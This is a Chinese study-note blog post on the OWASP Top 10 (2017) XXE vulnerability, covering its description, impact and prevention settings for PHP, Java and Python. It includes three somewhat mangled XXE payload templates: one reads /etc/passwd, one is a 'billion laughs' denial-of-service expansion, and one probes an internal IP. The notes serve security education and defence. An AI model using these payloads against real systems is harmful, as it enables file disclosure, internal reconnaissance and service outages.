OWASP top 10 (2017) 学习笔记--XML外部实体(XXE)

A4:2017-XML 外部实体(XXE)

漏洞描述:

如果攻击者可以上传XML文档或者在XML文档中添加恶意内容,通过易受攻击的代码、依赖项或集成,他们就能够攻击含有缺陷的XML处理器。

漏洞影响:

攻击者可以利用XML外部实体窃取使用URI文件处理器的内部文件和共享文件、监听内部扫描端口、执行远程代码和实施拒绝服务攻击。

检测场景:

以下提供几种简单的Payload模型。

1、文件读取

xml version="1.0" encoding="utf-8"?>
DOCTYPE xdsec [
>
ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<methodcall>
<methodname>&xxe;methodname>
methodcall>

  2、拒绝服务

xml version = "1.0"?>
DOCTYPE lolz [
>
ELEMENT lolz (#PCDATA)>
ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
<lolz>&lol9;lolz>

  3、内网信息

xml version="1.0" encoding="utf-8"?>
DOCTYPE xdsec [
>
ENTITY xxe SYSTEM "http://192.168.0.1:80" >]>
<methodcall>
<methodname>&xxe;methodname>
methodcall>

 预防思路:

1、过滤用户提交的XML数据

2、使用开发语言提供的禁用外部实体的方法

PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

 参考链接:

http://www.91ri.org/9539.html

https://www.cnblogs.com/r00tuser/p/7255939.html

 

转载于:https://www.cnblogs.com/ScriptKid-Lu/p/10243030.html

你可能感兴趣的:(python,php,java)